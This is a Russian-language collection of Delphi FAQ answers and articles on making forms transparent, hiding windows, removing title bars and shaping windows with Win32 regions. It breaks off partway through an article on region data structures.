Чтобы подготовить форму к прозрачности, Вам потребуется установить свойство AlphaBlend в True. Если AlphaBlend установлено в True, то свойство AlphaBlendValue указывает степень прозрачности. Это свойство позволяет задать значения от 0 до 255. 0 указывает на полную прозрачность окна, в то время как 255 указывает на непрозрачное окно.

Так же возможно устанавливать свойства AlphaBlend и AlphaBlendValue во время разработки (или во время выполнения приложения) при помощи Object Inspector.

Возможно, Вы подумаете, что такая возможность в Delphi, может Вам пригодиться довольно редко, однако прозрачностью можно довольно эффективно привлекать внимание пользователей Вашей программы:

procedure TAboutBox.FormClose
(Sender: TObject; var Action: TCloseAction);
var
  i, cavb : 0..255;
begin
  if AlphaBlend=False then
  begin
    AlphaBlendValue:=255;
    AlphaBlend:=True;
  end;
  cavb:=AlphaBlendValue;

  for i := cavb downto 0 do
  begin
    AlphaBlendValue := i;
    Application.ProcessMessages;
  end
end;

Вышеприведённый код, в событие OnClose для формы about, создаёт плавно изменяющийся эффект. Когда пользователь попытается закрыть диалоговое окошко, то форма плавно исчезнет. Делается это путём циклического уменьшения AlphaBlendValue до нуля.

Другие два новый свойства формы в Delphi 6, это TransparentColor и TransparentColorValue. TransparentColor, это булевое свойство, которое указывает, будет определённый цвет, указанный в TransparentColorValue прозрачным. То есть мы можем задать прозрачность только определённому цвету.

И взаключении хотелось бы указать на главный недостаток. Все свойства, описанные выше, не будут работать, если приложение запущено не под Windows 2000 или выше, и если процессор на компьютере ниже P90.

Взято из http://forum.sources.ru


Как сделать прозрачное окно родными средствами Windows2000?

В Windows2000 есть для этого ф-я SetLayeredWindowAttributes, вот пример её использования:

unit Win2k;
interface
uses Graphics, Windows;

function SetLayeredWindowAttributes(
hwnd : HWND; // handle to the layered window
crKey : TColor; // specifies the color key
bAlpha : byte; // value for the blend function
dwFlags : DWORD // action
): BOOL; stdcall;

function SetLayeredWindowAttributes; external 'user32.dll';
implementation

end.

program WinLayer;

uses
Windows, SysUtils,
Win2k in 'Win2k.pas';

const
WS_EX_LAYERED= $80000;
LWA_COLORKEY = 1;
LWA_ALPHA = 2;

var
Hndl : THandle;
Transp : Byte;

begin
Writeln('Windows2000 Layer <- build by AK ->');
Writeln(' Usage: WINLAYER.EXE [window name] [Transp (0-255)]');
Writeln(' Example: WINLAYER "Calculator" 200');
Writeln;
if ParamCount <> 2 then exit;
Hndl := FindWindow(nil, PChar(ParamStr(1)));
Transp := StrToIntDef(ParamStr(2), 128);
if SetWindowLong(Hndl, GWL_EXSTYLE, GetWindowLong(Hndl, GWL_EXSTYLE) or WS_EX_LAYERED) = 0 then
Writeln('Error !');

if not SetLayeredWindowAttributes(Hndl, 0, Transp, LWA_ALPHA) then
// ^^^ степень прозрачности
// 0 - полная прозрачность
// 255 - полная непрозрачность
Writeln('Error !');
end.

Взято из http://forum.sources.ru

SetWindowTransp(hndl: THandle; Perc: byte);

hndl
Hanle окна, которое надо сделать полупрозрачным.
Perc
Число от 1 до 100, указывающее уровень прозрачности.

Взято с http://delphiworld.narod.ru

Есть более продвинутые возможности (например, альфа-канал в битмапе)
http://msdn.microsoft.com/isapi/msdnlib.idc?theURL=/library/techart/layerwin.htm

unit TransparentWnd;

interface

uses
  Windows, Messages, Classes, Controls, Forms;

type
  _Percentage = 0..100;

  TTransparentWnd = class(TComponent)
  private
    { Private declarations }
  protected
    { Protected declarations }
    _percent: _Percentage;
    _auto: boolean;
    User32: HMODULE;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;

    //These work on a Handle
    //It doesn't change the Percent Property Value!
    procedure SetTransparentHWND(hwnd: THandle; percent : _Percentage);

    //These work on the Owner (a TWinControl decendant is the Minumum)
    //They don't change the Percent Property Value!
    procedure SetTransparent; overload;
    procedure SetTransparent(percent : _Percentage); overload;

    procedure SetOpaqueHWND(hwnd : THandle);
    procedure SetOpaque;
  published
    { Published declarations }
    //This works on the Owner (a TWinControl decendant is the Minumum)
    property Percent: _Percentage read _percent write _percent default 0;

    property AutoOpaque: boolean read _auto write _auto default false;
end;

procedure register;

implementation

const LWA_ALPHA = $2;
const GWL_EXSTYLE = (-20);
const WS_EX_LAYERED = $80000;
const WS_EX_TRANSPARENT = $20;

var
  SetLayeredWindowAttributes: function (hwnd: LongInt; crKey: byte;
    bAlpha: byte; dwFlags: LongInt): LongInt; stdcall;

constructor TTransparentWnd.Create(AOwner: TComponent);
begin
  inherited;

  User32 := LoadLibrary('USER32.DLL');
  if User32 <> 0 then
    @SetLayeredWindowAttributes := GetProcAddress(User32, 'SetLayeredWindowAttributes')
  else
    SetLayeredWindowAttributes := nil;
end;

destructor TTransparentWnd.Destroy;
begin
  if User32 <> 0 then
    FreeLibrary(User32);

  inherited;
end;

procedure TTransparentWnd.SetOpaqueHWND(hwnd: THandle);
var
  old: THandle;
begin
  if IsWindow(hwnd) then
  begin
    old := GetWindowLongA(hwnd,GWL_EXSTYLE);
    SetWindowLongA(hwnd, GWL_EXSTYLE, old and ((not 0)-WS_EX_LAYERED));
  end;
end;

procedure TTransparentWnd.SetOpaque;
begin
  Self.SetOpaqueHWND((Self.Owner as TWinControl).Handle);
end;

procedure TTransparentWnd.SetTransparent;
begin
  Self.SetTransparentHWND((Self.Owner as TWinControl).Handle, Self._percent);
end;

procedure TTransparentWnd.SetTransparentHWND(hwnd: THandle; percent : _Percentage);
var
  old: THandle;
begin
  if (User32 <> 0) and (Assigned(SetLayeredWindowAttributes)) and (IsWindow(hwnd)) then
    if (_auto=true) and (percent=0) then
      SetOpaqueHWND(hwnd)
    else
    begin
      percent := 100 - percent;
      old := GetWindowLongA(hwnd, GWL_EXSTYLE);
      SetWindowLongA(hwnd, GWL_EXSTYLE, old or WS_EX_LAYERED);
      SetLayeredWindowAttributes(hwnd, 0, (255 * percent) div 100, LWA_ALPHA);
    end;
end;

procedure TTransparentWnd.SetTransparent(percent: _Percentage);
begin
  Self.SetTransparentHWND((Self.Owner as TForm).Handle, percent);
end;

procedure register;
begin
  RegisterComponents('Win32', [TTransparentWnd]);
end;

end.

Взято с http://delphiworld.narod.ru


Как выбрать и установить уровень прозрачности формы

Form1.AlphaBlendValue := 200 {Уровень прозрачности};
Form1.AlphaBlend := True;

Delphi 6+
Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Прячем форму

Cодержание раздела:

Как спрятать форму?
Как спрятать окно при запуске приложения? Updated!


Как спрятать форму?

showwindow(Application.handle, SW_HIDE);
showwindow(Frorm1.handle, SW_HIDE);

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как спрятать окно при запуске приложения?

oncreate формы ставишь Application.Showmainform:=false; собственно и все , этим решается и вопрос с закладкой в таскбаре и с видимостью формы

Автор ответа: Diamond Cat

Взято с Vingrad.ru http://forum.vingrad.ru

Я пытаюсь создать приложение, помещающее во время запуска иконку в системную область панели задач c надлежащим контекстным меню. Тем не менее приложение все еще остается видимым в панели задач. Использование Application.ShowMainForm:=False оказывается недостаточным.

Я тоже столкнулся с этой проблемой, но, к счастью, нашел ответ. Вот маленький код, который классно справляется с проблемой.

procedure TMainForm.FormCreate(Sender: TObject);
begin
  Application.OnMinimize:=AppMinimize;
  Application.OnRestore:=AppMinimize;
  Application.Minimize;
  AppMinimize(@Self);
end;

procedure TMainForm.AppMinimize(Sender: TObject);
begin
  ShowWindow(Application.Handle, SW_HIDE);
end;

Взято с http://delphiworld.narod.ru


Формы нестандартного вида

Cодержание раздела:

Как сделать чтобы окно было на весь экран?
Как сделать форму без caption? Updated!
Как создавать не квадратные формы и контролы?
Как создать круглую форму?
Как сделать дырку в окне?
Как сделать roll-up форму?
Как создать форму в форме элипса?
Как сделать subform?
Создание окон произвольной формы (Статья) New!
Работа с регионами (статья) New!


Как сделать чтобы окно было на весь экран?

PostMessage(Application.Handle, WM_SYSCOMMAND, SC_MAXIMIZE, 1);

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Как сделать форму без caption?

Обычная форма:

TForm.Style:=bsNone

Автор: Song

Взято с Vingrad.ruhttp://forum.vingrad.ru

MDIChild форма:

setWindowLong (handle,GWL_STYLE,getWindowLong(handle, GWL_STYLE) and not WS_CAPTION);
width:=width+1;
width:=width-1;

Автор ответа: rhf
Взято с Vingrad.ruhttp://forum.vingrad.ru

{ Private Declaration }
procedure CreateParams(var Params : TCreateParams); override;

...

procedure TForm1.CreateParams(var Params : TCreateParams);

begin
inherited Createparams(Params);
with Params do
Style := (Style or WS_POPUP) and not WS_DLGFRAME;
end;

Взято из http://forum.sources.ru

procedure TForm1.HideTitlebar;
var
  Style: Longint;
begin
  if BorderStyle = bsNone then Exit;
  Style := GetWindowLong(Handle, GWL_STYLE);
  if (Style and WS_CAPTION) = WS_CAPTION then
  begin
    case BorderStyle of
      bsSingle,
      bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style and
          (not (WS_CAPTION)) or WS_BORDER);
      bsDialog: SetWindowLong(Handle, GWL_STYLE, Style and
          (not (WS_CAPTION)) or DS_MODALFRAME or WS_DLGFRAME);
    end;
    Height := Height - GetSystemMetrics(SM_CYCAPTION);
    Refresh;
  end;
end;

procedure TForm1.ShowTitlebar;
var
  Style: Longint;
begin
  if BorderStyle = bsNone then Exit;
  Style := GetWindowLong(Handle, GWL_STYLE);
  if (Style and WS_CAPTION) <> WS_CAPTION then
  begin
    case BorderStyle of
      bsSingle,
      bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style or WS_CAPTION or
          WS_BORDER);
      bsDialog: SetWindowLong(Handle, GWL_STYLE,
          Style or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME);
    end;
    Height := Height + GetSystemMetrics(SM_CYCAPTION);
    Refresh;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  HideTitlebar;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowTitlebar;
end;

Взято с http://delphiworld.narod.ru


Как создавать не квадратные формы и контролы?

Всё, что нам нужно, это HRGN и дескриптор (handle) элемента управления. SetWindowRgn имеет три параметра: дескриптор окна, которое будем менять, дескритор региона и булевый (boolean) параметр, который указывает - перерисовывать или нет после изменения. Как только у нас есть дескриптор и регион, то можно вызвать SetWindowRgn(Handle, Region, True) и вуаля!

Здесь приведён пример использования функции BitmapToRgn (описанной в примере Как создать регион(HRNG) по маске).

Заметьте, что Вы не должны освобождать регион при помощи DeleteObject, так как после вызова SetWindowRgn владельцем региона становится операционная система.

var
  MaskBmp: TBitmap;
begin
  MaskBmp := TBitmap.Create;
  try
    MaskBmp.LoadFromFile('FormShape.bmp');
    Height := MaskBmp.Height;
    Width := MaskBmp.Width;
    // ОС владеет регионом, после вызова SetWindowRgn
    SetWindowRgn(Self.Handle, BitmapToRgn(MaskBmp), True);
  finally
    MaskBmp.Free;
  end;
end;

Взято из http://forum.sources.ru


Как создать круглую форму?

Здесь приведён полный пример того, как создать круглую форму.
Не забудьте создать TButton, чтобы окно можно было закрыть.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, ExtCtrls, Buttons, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private-Deklarationen}
    procedure CreateParams(var Params: TCreateParams); override;
  public
    { Public-Deklarationen}
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

procedure TForm1.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);

  { удаляем заголовок и рамку }
  Params.Style := Params.Style or ws_popup xor ws_dlgframe;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  FormRgn: hRgn;
begin
  {clear form}
  Form1.Brush.Style := bsSolid; //bsclear;
  { делаем круг формы }
  GetWindowRgn(Form1.Handle, FormRgn);

  { удаляем старый объект }
  DeleteObject(FormRgn);
  { делаем прямоугольник формы }
  Form1.Height := 500;
  Form1.Width := Form1.Height;
  { создаём круглую форму }
  FormRgn := CreateRoundRectRgn(1, 1, Form1.Width - 1,
             Form1.height - 1, Form1.width, Form1.height);

  { устанавливаем новое круглое окно }
  SetWindowRgn(Form1.Handle, FormRgn, TRUE);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.close;
end;

end.

Взято из http://forum.sources.ru


Как сделать дырку в окне?

procedure TForm1.Button4Click(Sender: TObject);
var
  HRegion1, Hreg2, Hreg3: THandle;
  Col: TColor;
begin
  ShowMessage ('Ready for a real crash?');
  Col := Color;
  Color := clRed;
  PlaySound ('boom.wav', 0, snd_sync);
  HRegion1 := CreatePolygonRgn (Pts,
    sizeof (Pts) div 8,
    alternate);
  SetWindowRgn (
    Handle, HRegion1, True);
  ShowMessage ('Now, what have you done?');
  Color := Col;
  ShowMessage ('Вам лучше купить новый монитор');
end;

Взято из http://forum.sources.ru


Как сделать roll-up форму?

unit testmain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, Buttons, ShellAPI;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    FOldHeight: Integer;
    procedure WMNCRButtonDown(var Msg: TWMNCRButtonDown);
      message WM_NCRBUTTONDOWN;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  FOldHeight := ClientHeight;
end;

procedure TForm1.WMNCRButtonDown(var Msg: TWMNCRButtonDown);
var
  I: Integer;
begin
  if (Msg.HitTest = HTCAPTION) then
    if (ClientHeight = 0) then
    begin
      I := 0;
      while (I < FOldHeight) do
      begin
        I := I + 40;
        if (I > FOldHeight) then
          I := FOldHeight;
        ClientHeight := I;
        Application.ProcessMessages;
      end;
    end
    else
    begin
      FOldHeight := ClientHeight;
      I := ClientHeight;
      while (I > 0) do
      begin
        I := I - 40;
        if (I < 0) then
          I := 0;
        ClientHeight := I;
        Application.ProcessMessages;
      end;
    end;
end;

end.

First, by way of synopsis, the roll-up/down occurs in response to a WM_NCRBUTTONDOWN message firing off and the WMNCRButtonDown procedure handling the message, telling the window to roll up/down depending upon the height of the client area. WM_NCRBUTTONDOWN fires whenever the right mouse button is clicked in a "non-client" area, such as a border, menu or, for our purposes, the caption bar of a form. (The client area of a window is the area within the border where most of the interesting activity usually occurs. In general, the Windows API restricts application code to drawing only within the client area.)

Delphi encapsulates the WM_NCRBUTTONDOWN in a TWMNCRButtonDown type, which is actually an assignment from a TWMNCHitMessage type that has the following structure:

type
  TWMNCHitMessage = record
    Msg: Cardinal;
    HitTest: Integer;
    XCursor: SmallInt;
    YCursor: SmallInt;
    Result: Longint;
  end;

It's easy to create message wrappers in Delphi to deal with messages that aren't handled by an object by default. Since a right-click on the title bar of a form isn't handled by default, I had to create a wrapper. The procedure procedure WMNCRButtonDown(var Msg : TWMNCRButtonDown); message WM_NCRBUTTONDOWN; is the wrapper I created. All that goes on in the procedure is the following:

In order to make this work, I had to create a variable called FOldHeight and set its value at FormCreate whenever the form was to be rolled up. FOldHeight is used as a place for the form to remember what size it was before it was re-sized to 0. When a form is to be rolled up, FOldHeight is immediately set to the current ClientHeight, which means you can interactively set the form's size, and the function will always return the form's ClientHeight to what it was before you rolled it up.

So what use is this? Well, sometimes I don't want to iconize a window; I just want to get it out of the way so I can see what's underneath. Having the capability to roll a form up to its title bar makes it a lot easier to see underneath a window without iconizing it, then having to Alt-tab back to it. (If you are familiar with the Macintosh platform, the System 7.5 environment offers a very similar facility called a "window shade," and makes a roll-up sound when the shade goes up.)
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как создать форму в форме элипса?

procedure TForm1.FormCreate(Sender: TObject);
var
  Region: HRGN;
begin
  Region := CreateEllipticRgn(0, 0, 300, 300);
  SetWindowRgn(Handle, Region, True);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как сделать subform?

Those programmers who use the Win API in their programs know that Win32 allows you to insert one dialog box into another one and you'll can deal with subdialog's controls as them were in parent dialog. The good example of it is PropertySheet. I don't know why Borland hided this ability from us and why didn't it insert 'subforming' ability in TForm control. Here I can tell how to use a form as control (subform) in other one and how to create subform controls. It will work in D2, D3 and may be D4 (unfortunatelly, I have not it and can't check). The next steps shows how to make subform component:

First, we have to make the form to be a child. For this we need to override the method CreateParams.

type
  TSubForm = class(TForm)
  protected
    procedure CreateParams(var Params: TCreateParams); override;
  end;

procedure TSubForm.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := WS_CHILD or WS_DLGFRAME or WS_VISIBLE or DS_CONTROL;
end;

It's enough if you will not register this control into Delphi IDE. Now you can insert TSubForm control into a form at run time as shown below:

{ ... }
with TSubForm.Create(YourForm) do
begin
  Parent := YourForm;
  Left := 8;
  Top := 8;
end;
{ ... }

Unfortunately, it's not enough if you want insert this control into Delphi IDE. You have to do next two important things for it. Override TSubForm's destructor for prevent Delphi from break when subform will be deleted at design time (by user or Delphi). It can be fixed with next code:

destructor TSubForm.Destroy;
begin
  SetDesigning(False);
  inherited Destroy;
end;

Now your subform (sure inserted into form) looks like gray rectangle. The good deal is to make subform to show it's components at design time:

constructor TSubForm.Create(aOwner: TComponent);
begin
  inherited Create(aOwner);
  if csDesigning in ComponentState then
    ReadComponentRes(Self.ClassName, Self);
end;

Now you have a nice subform control which can be used at run time or design time. You can do it with any form which you wish see as subform.

Note: You can define events handler for subform and them will work. In case subform already has some event handler defined and you try redefine it, only subform's event handler will work at run time!

Full source code of the subform control:

unit SubForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Menus, Dialogs,
    StdCtrls;

type
  TSubForm = class(TForm)
  protected
    procedure CreateParams(var Params: TCreateParams); override;
  public
    constructor Create(aOwner: TComponent); override;
    destructor Destroy; override;
  end;

procedure Register;

implementation

{$R *.DFM}

procedure Register;
begin
  RegisterComponents('SubForms', [TSubForm]);
end;

constructor TSubForm.Create(aOwner: TComponent);
begin
  inherited Create(aOwner);
  if (csDesigning in ComponentState) then
    ReadComponentRes(Self.ClassName, Self);
end;

destructor TSubForm.Destroy;
begin
  SetDesigning(False);
  inherited Destroy;
end;

procedure TSubForm.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := WS_CHILD or WS_DLGFRAME or WS_VISIBLE or DS_CONTROL;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Создание окон произвольной формы (Статья)

Вопрос создания непрямоугольных окон часто интересует начинающих программистов и время от времени обсуждается на форумах разработчиков в среде Delphi. А вообще, нужно ли это кому-нибудь? Ответ - да! Это уже было нужно таким известным фирмам, как Symantec (Norton Utilities, Norton CrashGuard), Microsoft (Приложение "
Часы" в Windows NT4 может принимать круглую форму, Deluxe CD Player из MS Plus! 98 имеет вид прямоугольника со скругленными краями). У Borland Jbuilder 2 в окне начальной загрузки стрела крана "выскочила" за пределы прямоугольника. Программы для видеокарт TV Capture фирмы AverMedia имитируют пульт управления. Окно переводчика Magic Goody принимает вид гуся, разгуливающего по экрану.

Список можно продолжить, а вывод такой: окно "хитрой" формы – это "изюминка" оформления Вашей программы, нечто запоминающееся, дополнительный плюс в борьбе за потенциального покупателя. Главное в этом – не переборщить. Вряд ли будет удобно работать с текстовым редактором в треугольном окне. Окна произвольной формы неплохо смотрятся при начальной загрузке (Splash) и, возможно, в качестве окна "О программе … ".
Как это делается? Средствами Delphi – достаточно просто. Приведенные ниже примеры можно также перевести в C++ Builder или Visual C++.

type
  TForm1 = class(TForm)
// Данную процедуру будем использовать для задания
// формы окна
    procedure FormCreate(Sender: TObject);
  protected
// Данную процедуру необходимо переопределить,
// чтобы иметь возможность перемещать окно "мышкой"
// не только за за заголовок, который в данном
// случае отсутствует
    procedure WMNCHitTest(var Message: TWMNCHitTest);message WM_NCHITTEST;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

При создании окна непрямоугольной формы используются API функции

CreateEllipticRgn, CreateRectRgn, CreatePolygonRgn, CreateRoundRectRgn, CombineRgn.

procedure TForm1.FormCreate(Sender: TObject);
var
  R1, R2: HRgn;
begin
   // Создаем линзу (пересечение двух эллипсов)
   R1 := CreateElliPticRgn(-150,-300,363,400); // Задаем
   // координаты эллипса. Верхняя левая точка формы имеет
   // координаты 0,0
   R2 := CreateEllipticRgn(363+150,-300,5,400);
   CombineRgn(R1,R1,R2,RGN_AND); // Получаем пересечение
   // Отрезаем сверху слева
   R2:= CreateEllipticRgn(-40,-30,182,20);
   CombineRgn(R1,R1,R2,RGN_DIFF); // Вычитаем
   // Отрезаем сверху справа
   R2:= CreateEllipticRgn(180,-30,363+40,20);
   CombineRgn(R1,R1,R2,RGN_DIFF);
   // Назначаем полученный регион форме
   SetWindowRgn(Handle, R1, True);
end;

Если Вы все ввели правильно, то при запуске проекта получите окно в виде щита, как у Norton CrashGuard. Как это получилось, можно понять из схемы 1. Зеленые эллипсы при пересечении образуют линзу, красные эллипсы вычитаются.

Размер формы должен позволить разместиться на ней щиту полностью, иначе Вы получите усеченный вариант изображения.

Переопределение функции WMNCHitTest позволит перетаскивать окно, захватив его мышкой.

procedure TForm1.WMNCHitTest(var Message: TWMNCHitTest);
begin
  inherited;
  Message.Result := HTCAPTION;
end;

Теперь немного усложним задачу. Создадим фигурный щит

Синие фигуры складываются, красные вычитаются. Исходный код приведен ниже:

procedure TForm1.FormCreate(Sender: TObject);
var
  R1,R2 : HRgn;
  P : array [0..2] of TPoint;
  // Массив для создания полигона
begin
   // Создаем начальный прямоугольник
   R1 :=CreateRectRgn(0,0,270,233);
   // Отрезаем сверху слева
   R2:= CreateEllipticRgn(-20,-20,135+5,20);
   CombineRgn(R1,R1,R2,RGN_DIFF);
   // Отрезаем сверху справа
   R2:= CreateEllipticRgn(135-5,-20,270+20,20);
   CombineRgn(R1,R1,R2,RGN_DIFF);
   // Отрезаем левый бок
   R2:= CreateEllipticRgn(-15,10,8,233);
   CombineRgn(R1,R1,R2,RGN_DIFF);
   // Отрезаем правый бок
   R2:= CreateEllipticRgn(270-7,10,270+16,233);
   CombineRgn(R1,R1,R2,RGN_DIFF);
   // Добавляем овал снизу
   R2:= CreateEllipticRgn(0,150,270,320);
   CombineRgn(R1,R1,R2,RGN_OR);
   // Добавляем острие (треугольник) снизу
   P[0] := Point(135-40, 310);
   P[1] := Point(135+40, 310);
   P[2] := Point(135, 335);
   R2 := CreatePolygonRgn(P, 3, WINDING);
   CombineRgn(R1,R1,R2,RGN_OR);
   // Назначаем итоговый регион нашей форме
   SetWindowRgn(Handle, R1, True);
end;

Попробуем создать что-либо еще более сложное и непохожее на щит.

procedure TForm1.FormCreate(Sender: TObject);
var
  R1,R2 : HRgn;
  P : array [0..2] of TPoint;
begin
   R1:= CreateEllipticRgn(135-110, 45, 135-40, 105);
   // Овал, образующий ухо
   R2:= CreateEllipticRgn(135+40, 45, 135+110, 105);
   // Овал, образующий ухо
   CombineRgn(R1,R1,R2,RGN_OR);

   // Отсекаем треугольником лишнюю часть овалов,
   // тем самым завершаем формирование ушей
   P[0] := Point(135-140, 40);

   P[1] := Point(135+140, 40);
   P[2] := Point(135, 140);
   R2 := CreatePolygonRgn(P, 3, WINDING);
   CombineRgn(R1,R1,R2,RGN_DIFF);

   // Формируем полумесяц рогов
   R2:= CreateEllipticRgn(135-90, 0, 135+90, 100);
   CombineRgn(R1,R1,R2,RGN_OR);

   R2:= CreateEllipticRgn(135-70, -5, 135+70, 70);
   CombineRgn(R1,R1,R2,RGN_DIFF);

   // Формируем морду
   R2:= CreateEllipticRgn(135-70, 60, 135+70, 170);
   CombineRgn(R1,R1,R2,RGN_OR);

   R2:= CreateEllipticRgn(135-40, 150, 135+40, 210);
   CombineRgn(R1,R1,R2,RGN_OR);

   // Назначаем итоговый регион нашей форме
   SetWindowRgn(Handle, R1, True);

end;

До сих пор в примерах мы рассматривали регионы с абсолютными значениями линейных величин. Пример непрямоугольного окна, которое масштабирует свою форму в зависимости от его размера. Искодный код, приведенный ниже, создает окно в виде бабочки, причем бабочка исполльзует максимально высоту и ширину исходной формы.

procedure TForm1.FormCreate(Sender: TObject);
var
  R1, R2 : HRgn;
  P : array [0..2] of TPoint;
  X : Word;
begin
  // левое верхнее крыло
  R1 :=CreateEllipticRgn(Round(-Width*0.4),
  0,Round(Width*0.49),Round(Height*1.1));
  // правое верхнее крыло
  R2 :=CreateEllipticRgn(Round(Width*0.51),
  0,Round(Width*1.4),Round(Height*1.1));
  CombineRgn(R2,R1,R2,RGN_OR);
  // отсекаем лишнее от верхних крыльев,
  // остаются линзы на пересечении эллипсов

  R1 :=CreateEllipticRgn(0,Round(-Height*0.3),
  Width,Round(Height*0.71));
  CombineRgn(R1,R1,R2,RGN_AND);

  //эллипс - основа нижних крыльев
  R2 :=CreateEllipticRgn(Round(Width*0.1),
  Round(Height*0.65), Round(Width*0.9), Height);
  CombineRgn(R1,R1,R2,RGN_OR);
  // вырезаем эллипс - разрез между нижних крыльев
  R2 :=CreateEllipticRgn(Round(Width*0.3),
  Round(Height*0.7), Round(Width*0.7), Round(Height*1.5));
  CombineRgn(R1,R1,R2,RGN_DIFF);

  // вертикальный эллипс - туловище бабочки
  R2 :=CreateEllipticRgn(Round(Width*0.46),
  Round(Height*0.3), Round(Width*0.54),
  Round(Height*0.8));
  CombineRgn(R1,R1,R2,RGN_OR);

  // голова - круг; за основу берем меньшую
  // из двух величин - высоты и ширины окна
  X := Width;
  if Height < X then X := Height;
  X := Round(X/18);
  R2 :=CreateEllipticRgn(Round(Width*0.5)-X,
  Round(Height*0.3)-X, Round(Width*0.5)+X,
  Round(Height*0.3)+X);

  CombineRgn(R1,R1,R2,RGN_OR);

  // левый усик
  P[0] := Point(Round(Width*0.5), Round(Height*0.3));
  P[1] := Point(Round(Width*0.35), Round(Height*0.01));
  P[2] := Point(Round(Width*0.355)+1, 0);
  R2 := CreatePolygonRgn(P, 3, WINDING);
  CombineRgn(R1,R1,R2,RGN_OR);

  // правый усик
  P[0] := Point(Round(Width*0.5), Round(Height*0.3));
  P[1] := Point(Round(Width*0.655+1), Round(Height*0.01));
  P[2] := Point(Round(Width*0.65), 0);
  R2 := CreatePolygonRgn(P, 3, WINDING);

  CombineRgn(R1,R1,R2,RGN_OR);

  // острие на крыле слева снизу
  P[0] := Point(Round(Width*0.15), Height);
  P[1] := Point(Round(Width*0.2), Round(Height*0.8));
  P[2] := Point(Round(Width*0.3), Round(Height*0.9));
  R2 := CreatePolygonRgn(P, 3, WINDING);
  CombineRgn(R1,R1,R2,RGN_OR);

  // острие на крыле справа снизу
  P[0] := Point(Round(Width*0.85), Height);
  P[1] := Point(Round(Width*0.8), Round(Height*0.8));
  P[2] := Point(Round(Width*0.7), Round(Height*0.9));

  R2 := CreatePolygonRgn(P, 3, WINDING);
  CombineRgn(R1,R1,R2,RGN_OR);

  // Назначаем полученный регион форме
  SetWindowRgn(Handle, R1, True);
end;

Если грамотно разложить фигуру на элементарные составляющие, то Вам вполне по силам создать окно абсолютно любой формы. Это похоже на детскую игру "конструктор", только Ваши "кубики" намного разнообразнее.
Для завершения проекта необходимо создать фоновую картинку, которая подчеркнет границы нового окна. И обязательно установить свойство формы Scaled = False, иначе фоновая картинка и форма могут "разъехаться" при использовании нестандартных видеорежимов или стилей оформления Windows.

В заключение следует сказать, что существуют готовые компоненты и библиотеки компонент для решения подобных задач, например, CoolForm, TPlasmaForm. Однако при использовании компонент от сторонних производителей могут возникнуть проблемы лицензионности их использования и проблемы перехода на новую версию компилятора. А приведенные в данной статье примеры компилируются без изменений в исходном коде на Borland Delphi 3.0 - 7.0 и, вероятно, будут совместимы с последующими версиями.

© Георгий Чернилевский
master_of_storm@hotmail.com


Работа с регионами (статья)

Работа с регионами

Общее описание

Windows API предоставляет набор функций, позволяющих описать произвольную (при желании - достаточно сложную) геометрическую фигуру, которая потом может использоваться при работе с окнами, или, в терминологии Delphi, элементами управления. Использование может заключаться, например, в отрисовке на холсте, в задании специфического региона обновления окна, и т.д. Помимо таких вот относительно невинных возможностей, технология регионов позволяяет также глумиться над благородными очертаниями любого потомка TWinControl (иными словами, любым контролом, имеющим Handle, aka TForm, TButton, и т.д.). Особенно широко регионы используются в формах, при их отрисовке и обновлении.

Итак, для начала, давайте разберёмся, что такое этот самый регион.

Win32 SDK регион определяет следующим образом:

В Microsoft Windows регионом называется прямоугольник, полигон или эллипс (либо комбинация двух или более этих фигур), которые могут быть заполненны, нарисованы, инвертированы, обрамлены и могут использоваться для определения местонахождения курсора (имеется в виду, что есть стандартная функция, определяющая входит ли точка (X,Y) в наш регион).

В SDK упомянуты три основных типа регионов: прямоугольные, эллиптические, и полигональные. О чётвёртом типе, прямоугольном с закруглёнными краями, стыдливо умалчивается, ну да и фиг с ним. Видимо это связано с тем, что его можно получить из первых двух. Дело в том, что регионы могут комбинироваться между собой с применением логических операций OR, XOR и т.д. Но к этому мы вернёмся позже.

С точки зрения Windows, регион является обыкновенным объектом GDI, задаваемым дескриптором HRGN. В Delphi также доступен этот тип, и объявление его выглядит следующим образом:

HRGN = type LongWord;

Как видим, ничего сверхъестественного. По сути это указатель на некую структуру в памяти. Структура эта описана следующим образом:

TRgnData = _RGNDATA;

_RGNDATA = record
 rdh: TRgnDataHeader;
 Buffer: array[0..0] of CHAR;
 Reserved: array[0..2] of CHAR;
end;

Что примечательно, в Win32 SDK _RGNDATA объявлена немного иначе. Наиболее любопытный член этой записи, безусловно, TRgnDataHeader. В модуле Windows.pas фигурирует и он:

TRgnDataHeader = _RGNDATAHEADER;

_RGNDATAHEADER = packed record
 dwSize: DWORD;
 iType: DWORD;
 nCount: DWORD;
 nRgnSize: DWORD;
 rcBound: TRect;
